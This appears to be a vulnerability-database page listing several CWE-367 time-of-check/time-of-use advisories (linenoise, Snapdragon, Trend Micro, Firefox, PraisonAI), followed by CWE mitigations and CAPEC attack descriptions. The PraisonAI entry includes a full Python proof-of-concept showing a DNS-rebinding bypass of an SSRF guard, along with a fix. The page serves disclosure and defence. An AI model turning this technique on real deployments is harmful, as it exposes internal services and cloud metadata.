
Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-9810"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-01T19:15:32Z",
    "severity": "MODERATE"
  },
  "details": "TOCTOU \u00a0in linenoiseHistorySave\u00a0in linenoise\u00a0allows local attackers to overwrite arbitrary files and change permissions via a symlink race between fopen(\"w\")\u00a0on the history path and subsequent chmod()\u00a0on the same path.",
  "id": "GHSA-rj4f-7f4c-6qh7",
  "modified": "2026-04-22T18:31:36Z",
  "published": "2025-12-08T15:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9810"
    },
    {
      "type": "WEB",
      "url": "https://github.com/antirez/linenoise/pull/202"
    },
    {
      "type": "WEB",
      "url": "https://github.com/antirez/linenoise/commit/f2558e1e588b1ba384ec73a2cf5c9a46409753db"
    },
    {
      "type": "WEB",
      "url": "https://github.com/antirez/linenoise/blob/4111f1d6cd29e136b4e86a25d1dd859a1e00813b/linenoise.c#L1321"
    },
    {
      "type": "WEB",
      "url": "https://github.com/antirez/linenoise/blob/master/linenoise.c#L1321"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RJ5V-43F2-C55M

Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-05-24 19:04
VLAI
Details

Time-of-check time-of-use race condition While processing partition entries due to newly created buffer was read again from mmc without validation in Snapdragon Auto, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wearables

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-11233"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-09T05:15:00Z",
    "severity": "HIGH"
  },
  "details": "Time-of-check time-of-use race condition While processing partition entries due to newly created buffer was read again from mmc without validation in Snapdragon Auto, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice \u0026 Music, Snapdragon Wearables",
  "id": "GHSA-rj5v-43f2-c55m",
  "modified": "2022-05-24T19:04:44Z",
  "published": "2022-05-24T19:04:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11233"
    },
    {
      "type": "WEB",
      "url": "https://www.qualcomm.com/company/product-security/bulletins/january-2021-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-RJC8-FQVX-G34C

Vulnerability from github – Published: 2026-05-21 15:34 – Updated: 2026-05-21 15:34
VLAI
Details

A time-of-check time-of-use vulnerability in the Trend Micro Apex One (mac) agent iCore service signature verification could allow a local attacker to escalate privileges on affected installations.

Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

The following information is provided as informational only for CVE references, as these were addressed already via ActiveUpdate/SaaS updates in mid to late 2025 (SaaS 2507 & 2005 Yearly Release).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-71215"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-21T14:16:44Z",
    "severity": "HIGH"
  },
  "details": "A time-of-check time-of-use vulnerability in the Trend Micro Apex One (mac) agent iCore service signature verification could allow a local attacker to escalate privileges on affected installations.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe following information is provided as informational only for CVE references, as these were addressed already via ActiveUpdate/SaaS updates in mid to late 2025 (SaaS 2507 \u0026 2005 Yearly Release).",
  "id": "GHSA-rjc8-fqvx-g34c",
  "modified": "2026-05-21T15:34:09Z",
  "published": "2026-05-21T15:34:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71215"
    },
    {
      "type": "WEB",
      "url": "https://success.trendmicro.com/en-US/solution/KA-0022458"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-26-141"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RJFG-3M55-WMP7

Vulnerability from github – Published: 2023-03-10 21:30 – Updated: 2023-03-15 18:30
VLAI
Details

Memory corruption in Core due to time-of-check time-of-use race condition during dump collection in trust zone.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-33257"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-10T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "Memory corruption in Core due to time-of-check time-of-use race condition during dump collection in trust zone.",
  "id": "GHSA-rjfg-3m55-wmp7",
  "modified": "2023-03-15T18:30:23Z",
  "published": "2023-03-10T21:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-33257"
    },
    {
      "type": "WEB",
      "url": "https://www.qualcomm.com/company/product-security/bulletins/march-2023-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RJVW-7VVW-549V

Vulnerability from github – Published: 2026-06-18 13:57 – Updated: 2026-07-20 21:24
VLAI
Summary
PraisonAI: Jobs webhook SSRF protection bypass via DNS rebinding
Details

Jobs webhook SSRF protection bypass via DNS rebinding

Summary

PraisonAI's Async Jobs API validates webhook_url when a job request is parsed and again when the internal Job object is constructed. That validation blocks direct loopback/private targets, but it is not bound to the later network request. When a job completes, _send_webhook() passes the original hostname to httpx.AsyncClient.post() with no send-time validation, IP pinning, or guarded transport.

An attacker-controlled hostname can therefore resolve to a public IP during Pydantic validation and later resolve to loopback/private/cloud-metadata infrastructure during webhook delivery. This bypasses the intended SSRF guard in current supported releases.

This appears to be an incomplete fix / patch bypass for GHSA-8frj-8q3m-xhgm ("Server-Side Request Forgery via Unvalidated webhook_url in Jobs API"). I defer to maintainers on whether this should be a new advisory/CVE or an amendment to the prior advisory, but current supported releases still appear affected.

Affected Component

Package:

praisonai

Files:

src/praisonai/praisonai/jobs/models.py
src/praisonai/praisonai/jobs/executor.py
src/praisonai/praisonai/jobs/router.py

Relevant code paths:

JobSubmitRequest.validate_webhook_url()
Job.validate_webhook_url()
JobExecutor._send_webhook()
POST /api/v1/runs

Affected Versions

Validated affected:

  • v4.5.126 (f00763937bf7f4d091e84533692fc0576fca9b99);
  • v4.5.128 (b4e3a8a8);
  • v4.6.56 (d3c4a2af);
  • v4.6.57 (e90d92231853161ad931f3498da57651a9f8b528);
  • current main (2f9677abb2ea68eab864ee8b6a828fd0141612e1, v4.6.57-4-g2f9677ab).

Suggested affected range for maintainer confirmation:

>= 4.5.126, <= 4.6.57

No patched version is known to me at submission time.

v4.5.124 and earlier are covered by the older unvalidated-webhook advisory. This report is scoped to patched-era releases where direct loopback/private webhook URLs are rejected but DNS rebinding still bypasses the guard.

Root Cause

Current validation is a time-of-check/time-of-use boundary:

  1. JobSubmitRequest.webhook_url is validated with urlparse() and socket.gethostbyname().
  2. The resolved address is rejected when it is private, loopback, link-local, or multicast.
  3. The original URL string is stored on the Job.
  4. After job completion, _send_webhook() creates a fresh httpx.AsyncClient and POSTs to the original URL.
  5. httpx resolves the hostname again. There is no revalidation of the address that is actually connected to.

The first DNS answer is therefore trusted for a later, independent DNS lookup. An attacker who controls DNS for the webhook hostname can return a public address during validation and an internal address during delivery.

Local Reproduction

The PoV is local-only. It starts a loopback HTTP server, monkeypatches resolver behavior in-process, and uses the real PraisonAI Job validator plus JobExecutor._send_webhook() sender.

Run from a PraisonAI checkout:

env PYTHONPATH=src/praisonai python3 poc_jobs_webhook_dns_rebinding_ssrf.py

Observed output on current main:

DIRECT_LOOPBACK_BLOCKED: {"Job": true, "JobSubmitRequest": true}
ACCEPTED_WEBHOOK_URL: http://rebind.test:<port>/hook
INTERNAL_SERVER_HIT: true
INTERNAL_REQUEST_HOST: rebind.test:<port>
INTERNAL_REQUEST_PATH: /hook
WEBHOOK_PAYLOAD_KEYS: completed_at,duration_seconds,error,job_id,result,status
WEBHOOK_PAYLOAD_STATUS: succeeded
PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding

The direct control proves that the current guard is meant to reject loopback webhook destinations. The rebind case proves the same blocked destination class is reached when the hostname changes between validation and delivery.

Full Local PoV Script

#!/usr/bin/env python3
"""Local PoV for PraisonAI Jobs webhook DNS-rebinding SSRF.

The PoV uses only loopback services. It models an attacker-controlled hostname
that resolves to a public IP during PraisonAI's Pydantic validation, then
resolves to loopback when the async webhook sender later opens the connection.
"""

from __future__ import annotations

import asyncio
import json
import queue
import socket
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from typing import Any

from praisonai.jobs.executor import JobExecutor
from praisonai.jobs.models import Job, JobSubmitRequest


ATTACKER_HOST = "rebind.test"
PUBLIC_IP = "93.184.216.34"


class InternalHandler(BaseHTTPRequestHandler):
    def do_POST(self) -> None:  # noqa: N802
        length = int(self.headers.get("content-length", "0"))
        body = self.rfile.read(length)
        self.server.received.put(  # type: ignore[attr-defined]
            {
                "path": self.path,
                "host": self.headers.get("host"),
                "body": body.decode("utf-8", "replace"),
            }
        )
        self.send_response(204)
        self.end_headers()

    def log_message(self, *_args: Any) -> None:
        return


def assert_direct_loopback_blocked(port: int) -> None:
    blocked = {}
    direct_url = f"http://127.0.0.1:{port}/hook"
    for model in (JobSubmitRequest, Job):
        try:
            model(prompt="x", webhook_url=direct_url)
            blocked[model.__name__] = False
        except Exception:
            blocked[model.__name__] = True

    print("DIRECT_LOOPBACK_BLOCKED:", json.dumps(blocked, sort_keys=True))
    if not all(blocked.values()):
        raise SystemExit("control failed: direct loopback webhook URL was accepted")


def build_validated_job(port: int) -> Job:
    original_gethostbyname = socket.gethostbyname

    def validation_gethostbyname(host: str) -> str:
        if host == ATTACKER_HOST:
            return PUBLIC_IP
        return original_gethostbyname(host)

    socket.gethostbyname = validation_gethostbyname
    try:
        webhook_url = f"http://{ATTACKER_HOST}:{port}/hook"
        request = JobSubmitRequest(prompt="x", webhook_url=webhook_url)
        job = Job(prompt=request.prompt, webhook_url=request.webhook_url)
        job.succeed({"pov": "job result sent to webhook"})
        return job
    finally:
        socket.gethostbyname = original_gethostbyname


async def send_after_rebind(job: Job, port: int) -> None:
    original_getaddrinfo = socket.getaddrinfo

    def send_getaddrinfo(host: Any, port_arg: int, *args: Any, **kwargs: Any):
        normalized_host = host.decode() if isinstance(host, bytes) else host
        if normalized_host == ATTACKER_HOST:
            return [
                (
                    socket.AF_INET,
                    socket.SOCK_STREAM,
                    socket.IPPROTO_TCP,
                    "",
                    ("127.0.0.1", port_arg),
                )
            ]
        return original_getaddrinfo(host, port_arg, *args, **kwargs)

    socket.getaddrinfo = send_getaddrinfo
    try:
        await JobExecutor(store=None)._send_webhook(job)  # type: ignore[arg-type]
    finally:
        socket.getaddrinfo = original_getaddrinfo


def main() -> int:
    received: queue.Queue[dict[str, str]] = queue.Queue()
    server = HTTPServer(("127.0.0.1", 0), InternalHandler)
    server.received = received  # type: ignore[attr-defined]
    port = int(server.server_port)
    thread = threading.Thread(target=server.handle_request, daemon=True)
    thread.start()

    try:
        assert_direct_loopback_blocked(port)
        job = build_validated_job(port)
        print("ACCEPTED_WEBHOOK_URL:", job.webhook_url)
        asyncio.run(send_after_rebind(job, port))
    finally:
        server.server_close()

    try:
        hit = received.get_nowait()
    except queue.Empty:
        raise SystemExit("bypass failed: loopback-only webhook receiver was not hit")

    payload = json.loads(hit["body"])
    print("INTERNAL_SERVER_HIT: true")
    print("INTERNAL_REQUEST_HOST:", hit["host"])
    print("INTERNAL_REQUEST_PATH:", hit["path"])
    print("WEBHOOK_PAYLOAD_KEYS:", ",".join(sorted(payload)))
    print("WEBHOOK_PAYLOAD_STATUS:", payload.get("status"))

    if hit["host"] != f"{ATTACKER_HOST}:{port}":
        raise SystemExit("unexpected host header")
    if payload.get("status") != "succeeded":
        raise SystemExit("unexpected webhook payload")

    print("PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Intended-Behavior Validation

PraisonAI's Async Jobs documentation describes webhook_url as the completion callback URL for submitted jobs. The deploy API docs list webhooks as a key feature and state that the async jobs API does not require authentication by default, with authentication left to server deployment configuration.

The code also proves the intended safety boundary: both JobSubmitRequest and Job currently reject direct http://127.0.0.1:<port>/... webhook URLs. The PoV does not rely on local webhooks being intentionally allowed; it demonstrates that a blocked local target becomes reachable after the validation-to-use DNS transition.

Impact

If an attacker can submit jobs to a PraisonAI Jobs API deployment and choose webhook_url, they can cause the PraisonAI host to send POST requests to loopback, private-network, or cloud metadata endpoints reachable from that host.

Practical impact includes:

  • blind interaction with internal HTTP services;
  • internal host/port reachability probing via timing and webhook error behavior;
  • POSTing attacker-controlled job result payloads to internal APIs with weak request validation;
  • cloud metadata interaction where metadata endpoints accept the request method and the deployment network permits access.

This report does not claim response-body disclosure, RCE, or live credential theft without deployment-specific internal-service behavior. The SSRF primitive is still security-relevant because webhook delivery crosses a network boundary that current code explicitly tries to block.

Severity

Suggested severity: High for network-reachable Jobs API deployments where job submission is unauthenticated or attacker-accessible.

If maintainers model the Jobs API as loopback-only or authenticated in the affected deployment, severity may reasonably be reduced. I kept the primary rating aligned with the prior Jobs webhook SSRF advisory because PraisonAI's public docs state that authentication is not required by default and the same webhook sink remains reachable.

Suggested Fix

  • Move SSRF validation to the send path immediately before opening the outbound connection.
  • Resolve all candidate addresses with socket.getaddrinfo(), not only the first IPv4 answer from gethostbyname().
  • Reject loopback, private, link-local, multicast, reserved, unspecified, and cloud metadata address ranges for every resolved address.
  • Pin the validated address to the actual connection, or use a guarded HTTP transport/proxy that validates the destination after DNS resolution and before connect.
  • Consider making Jobs API authentication mandatory by default for non-loopback binds, or require explicit opt-in to unauthenticated job submission.
  • Add regression tests for direct loopback rejection, DNS rebind from public to loopback, IPv6/private AAAA records with public A records, and allowed public webhooks.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.58"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.5.126"
            },
            {
              "fixed": "4.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57114"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:57:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Jobs webhook SSRF protection bypass via DNS rebinding\n\n## Summary\n\nPraisonAI\u0027s Async Jobs API validates `webhook_url` when a job request is parsed\nand again when the internal `Job` object is constructed. That validation blocks\ndirect loopback/private targets, but it is not bound to the later network\nrequest. When a job completes, `_send_webhook()` passes the original hostname to\n`httpx.AsyncClient.post()` with no send-time validation, IP pinning, or guarded\ntransport.\n\nAn attacker-controlled hostname can therefore resolve to a public IP during\nPydantic validation and later resolve to loopback/private/cloud-metadata\ninfrastructure during webhook delivery. This bypasses the intended SSRF guard in\ncurrent supported releases.\n\nThis appears to be an incomplete fix / patch bypass for `GHSA-8frj-8q3m-xhgm`\n(\"Server-Side Request Forgery via Unvalidated webhook_url in Jobs API\"). I defer\nto maintainers on whether this should be a new advisory/CVE or an amendment to\nthe prior advisory, but current supported releases still appear affected.\n\n## Affected Component\n\nPackage:\n\n```text\npraisonai\n```\n\nFiles:\n\n```text\nsrc/praisonai/praisonai/jobs/models.py\nsrc/praisonai/praisonai/jobs/executor.py\nsrc/praisonai/praisonai/jobs/router.py\n```\n\nRelevant code paths:\n\n```text\nJobSubmitRequest.validate_webhook_url()\nJob.validate_webhook_url()\nJobExecutor._send_webhook()\nPOST /api/v1/runs\n```\n\n## Affected Versions\n\nValidated affected:\n\n- `v4.5.126` (`f00763937bf7f4d091e84533692fc0576fca9b99`);\n- `v4.5.128` (`b4e3a8a8`);\n- `v4.6.56` (`d3c4a2af`);\n- `v4.6.57` (`e90d92231853161ad931f3498da57651a9f8b528`);\n- current `main` (`2f9677abb2ea68eab864ee8b6a828fd0141612e1`,\n  `v4.6.57-4-g2f9677ab`).\n\nSuggested affected range for maintainer confirmation:\n\n```text\n\u003e= 4.5.126, \u003c= 4.6.57\n```\n\nNo patched version is known to me at submission time.\n\n`v4.5.124` and earlier are covered by the older unvalidated-webhook advisory.\nThis report is scoped to patched-era releases where direct loopback/private\nwebhook URLs are rejected but DNS rebinding still bypasses the guard.\n\n## Root Cause\n\nCurrent validation is a time-of-check/time-of-use boundary:\n\n1. `JobSubmitRequest.webhook_url` is validated with `urlparse()` and\n   `socket.gethostbyname()`.\n2. The resolved address is rejected when it is private, loopback, link-local, or\n   multicast.\n3. The original URL string is stored on the `Job`.\n4. After job completion, `_send_webhook()` creates a fresh `httpx.AsyncClient`\n   and POSTs to the original URL.\n5. `httpx` resolves the hostname again. There is no revalidation of the address\n   that is actually connected to.\n\nThe first DNS answer is therefore trusted for a later, independent DNS lookup.\nAn attacker who controls DNS for the webhook hostname can return a public\naddress during validation and an internal address during delivery.\n\n## Local Reproduction\n\nThe PoV is local-only. It starts a loopback HTTP server, monkeypatches resolver\nbehavior in-process, and uses the real PraisonAI `Job` validator plus\n`JobExecutor._send_webhook()` sender.\n\nRun from a PraisonAI checkout:\n\n```fish\nenv PYTHONPATH=src/praisonai python3 poc_jobs_webhook_dns_rebinding_ssrf.py\n```\n\nObserved output on current `main`:\n\n```text\nDIRECT_LOOPBACK_BLOCKED: {\"Job\": true, \"JobSubmitRequest\": true}\nACCEPTED_WEBHOOK_URL: http://rebind.test:\u003cport\u003e/hook\nINTERNAL_SERVER_HIT: true\nINTERNAL_REQUEST_HOST: rebind.test:\u003cport\u003e\nINTERNAL_REQUEST_PATH: /hook\nWEBHOOK_PAYLOAD_KEYS: completed_at,duration_seconds,error,job_id,result,status\nWEBHOOK_PAYLOAD_STATUS: succeeded\nPRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding\n```\n\nThe direct control proves that the current guard is meant to reject loopback\nwebhook destinations. The rebind case proves the same blocked destination class\nis reached when the hostname changes between validation and delivery.\n\n## Full Local PoV Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for PraisonAI Jobs webhook DNS-rebinding SSRF.\n\nThe PoV uses only loopback services. It models an attacker-controlled hostname\nthat resolves to a public IP during PraisonAI\u0027s Pydantic validation, then\nresolves to loopback when the async webhook sender later opens the connection.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport json\nimport queue\nimport socket\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom typing import Any\n\nfrom praisonai.jobs.executor import JobExecutor\nfrom praisonai.jobs.models import Job, JobSubmitRequest\n\n\nATTACKER_HOST = \"rebind.test\"\nPUBLIC_IP = \"93.184.216.34\"\n\n\nclass InternalHandler(BaseHTTPRequestHandler):\n    def do_POST(self) -\u003e None:  # noqa: N802\n        length = int(self.headers.get(\"content-length\", \"0\"))\n        body = self.rfile.read(length)\n        self.server.received.put(  # type: ignore[attr-defined]\n            {\n                \"path\": self.path,\n                \"host\": self.headers.get(\"host\"),\n                \"body\": body.decode(\"utf-8\", \"replace\"),\n            }\n        )\n        self.send_response(204)\n        self.end_headers()\n\n    def log_message(self, *_args: Any) -\u003e None:\n        return\n\n\ndef assert_direct_loopback_blocked(port: int) -\u003e None:\n    blocked = {}\n    direct_url = f\"http://127.0.0.1:{port}/hook\"\n    for model in (JobSubmitRequest, Job):\n        try:\n            model(prompt=\"x\", webhook_url=direct_url)\n            blocked[model.__name__] = False\n        except Exception:\n            blocked[model.__name__] = True\n\n    print(\"DIRECT_LOOPBACK_BLOCKED:\", json.dumps(blocked, sort_keys=True))\n    if not all(blocked.values()):\n        raise SystemExit(\"control failed: direct loopback webhook URL was accepted\")\n\n\ndef build_validated_job(port: int) -\u003e Job:\n    original_gethostbyname = socket.gethostbyname\n\n    def validation_gethostbyname(host: str) -\u003e str:\n        if host == ATTACKER_HOST:\n            return PUBLIC_IP\n        return original_gethostbyname(host)\n\n    socket.gethostbyname = validation_gethostbyname\n    try:\n        webhook_url = f\"http://{ATTACKER_HOST}:{port}/hook\"\n        request = JobSubmitRequest(prompt=\"x\", webhook_url=webhook_url)\n        job = Job(prompt=request.prompt, webhook_url=request.webhook_url)\n        job.succeed({\"pov\": \"job result sent to webhook\"})\n        return job\n    finally:\n        socket.gethostbyname = original_gethostbyname\n\n\nasync def send_after_rebind(job: Job, port: int) -\u003e None:\n    original_getaddrinfo = socket.getaddrinfo\n\n    def send_getaddrinfo(host: Any, port_arg: int, *args: Any, **kwargs: Any):\n        normalized_host = host.decode() if isinstance(host, bytes) else host\n        if normalized_host == ATTACKER_HOST:\n            return [\n                (\n                    socket.AF_INET,\n                    socket.SOCK_STREAM,\n                    socket.IPPROTO_TCP,\n                    \"\",\n                    (\"127.0.0.1\", port_arg),\n                )\n            ]\n        return original_getaddrinfo(host, port_arg, *args, **kwargs)\n\n    socket.getaddrinfo = send_getaddrinfo\n    try:\n        await JobExecutor(store=None)._send_webhook(job)  # type: ignore[arg-type]\n    finally:\n        socket.getaddrinfo = original_getaddrinfo\n\n\ndef main() -\u003e int:\n    received: queue.Queue[dict[str, str]] = queue.Queue()\n    server = HTTPServer((\"127.0.0.1\", 0), InternalHandler)\n    server.received = received  # type: ignore[attr-defined]\n    port = int(server.server_port)\n    thread = threading.Thread(target=server.handle_request, daemon=True)\n    thread.start()\n\n    try:\n        assert_direct_loopback_blocked(port)\n        job = build_validated_job(port)\n        print(\"ACCEPTED_WEBHOOK_URL:\", job.webhook_url)\n        asyncio.run(send_after_rebind(job, port))\n    finally:\n        server.server_close()\n\n    try:\n        hit = received.get_nowait()\n    except queue.Empty:\n        raise SystemExit(\"bypass failed: loopback-only webhook receiver was not hit\")\n\n    payload = json.loads(hit[\"body\"])\n    print(\"INTERNAL_SERVER_HIT: true\")\n    print(\"INTERNAL_REQUEST_HOST:\", hit[\"host\"])\n    print(\"INTERNAL_REQUEST_PATH:\", hit[\"path\"])\n    print(\"WEBHOOK_PAYLOAD_KEYS:\", \",\".join(sorted(payload)))\n    print(\"WEBHOOK_PAYLOAD_STATUS:\", payload.get(\"status\"))\n\n    if hit[\"host\"] != f\"{ATTACKER_HOST}:{port}\":\n        raise SystemExit(\"unexpected host header\")\n    if payload.get(\"status\") != \"succeeded\":\n        raise SystemExit(\"unexpected webhook payload\")\n\n    print(\"PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n## Intended-Behavior Validation\n\nPraisonAI\u0027s Async Jobs documentation describes `webhook_url` as the completion\ncallback URL for submitted jobs. The deploy API docs list webhooks as a key\nfeature and state that the async jobs API does not require authentication by\ndefault, with authentication left to server deployment configuration.\n\nThe code also proves the intended safety boundary: both `JobSubmitRequest` and\n`Job` currently reject direct `http://127.0.0.1:\u003cport\u003e/...` webhook URLs. The\nPoV does not rely on local webhooks being intentionally allowed; it demonstrates\nthat a blocked local target becomes reachable after the validation-to-use DNS\ntransition.\n\n## Impact\n\nIf an attacker can submit jobs to a PraisonAI Jobs API deployment and choose\n`webhook_url`, they can cause the PraisonAI host to send POST requests to\nloopback, private-network, or cloud metadata endpoints reachable from that host.\n\nPractical impact includes:\n\n- blind interaction with internal HTTP services;\n- internal host/port reachability probing via timing and webhook error behavior;\n- POSTing attacker-controlled job result payloads to internal APIs with weak\n  request validation;\n- cloud metadata interaction where metadata endpoints accept the request method\n  and the deployment network permits access.\n\nThis report does not claim response-body disclosure, RCE, or live credential\ntheft without deployment-specific internal-service behavior. The SSRF primitive\nis still security-relevant because webhook delivery crosses a network boundary\nthat current code explicitly tries to block.\n\n## Severity\n\nSuggested severity: High for network-reachable Jobs API deployments where job\nsubmission is unauthenticated or attacker-accessible.\n\nIf maintainers model the Jobs API as loopback-only or authenticated in the\naffected deployment, severity may reasonably be reduced. I kept the primary\nrating aligned with the prior Jobs webhook SSRF advisory because PraisonAI\u0027s\npublic docs state that authentication is not required by default and the same\nwebhook sink remains reachable.\n\n## Suggested Fix\n\n- Move SSRF validation to the send path immediately before opening the outbound\n  connection.\n- Resolve all candidate addresses with `socket.getaddrinfo()`, not only the\n  first IPv4 answer from `gethostbyname()`.\n- Reject loopback, private, link-local, multicast, reserved, unspecified, and\n  cloud metadata address ranges for every resolved address.\n- Pin the validated address to the actual connection, or use a guarded HTTP\n  transport/proxy that validates the destination after DNS resolution and before\n  connect.\n- Consider making Jobs API authentication mandatory by default for non-loopback\n  binds, or require explicit opt-in to unauthenticated job submission.\n- Add regression tests for direct loopback rejection, DNS rebind from public to\n  loopback, IPv6/private AAAA records with public A records, and allowed public\n  webhooks.",
  "id": "GHSA-rjvw-7vvw-549v",
  "modified": "2026-07-20T21:24:59Z",
  "published": "2026-06-18T13:57:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rjvw-7vvw-549v"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Jobs webhook SSRF protection bypass via DNS rebinding"
}

GHSA-RJWC-235R-8986

Vulnerability from github – Published: 2024-07-09 15:30 – Updated: 2024-10-30 21:30
VLAI
Details

A race condition could lead to a cross-origin container obtaining permissions of the top-level origin. This vulnerability affects Firefox < 128 and Firefox ESR < 115.13.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-6601"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-09T15:15:12Z",
    "severity": "MODERATE"
  },
  "details": "A race condition could lead to a cross-origin container obtaining permissions of the top-level origin. This vulnerability affects Firefox \u003c 128 and Firefox ESR \u003c 115.13.",
  "id": "GHSA-rjwc-235r-8986",
  "modified": "2024-10-30T21:30:37Z",
  "published": "2024-07-09T15:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6601"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1890748"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2024-29"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2024-30"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2024-31"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2024-32"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Implementation

The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.

Mitigation
Implementation

When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.

Mitigation
Architecture and Design

Limit the interleaving of operations on files from multiple processes.

Mitigation
Implementation Architecture and Design

If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.

Mitigation
Implementation

Recheck the resource after the use call to verify that the action was taken appropriately.

Mitigation
Architecture and Design

Ensure that some environmental locking mechanism can be used to protect resources effectively.

Mitigation
Implementation

Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.

CAPEC-27: Leveraging Race Conditions via Symbolic Links

This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to them. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attackers' Symlink link. If the attacker can insert malicious content in the temporary file they will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.

CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.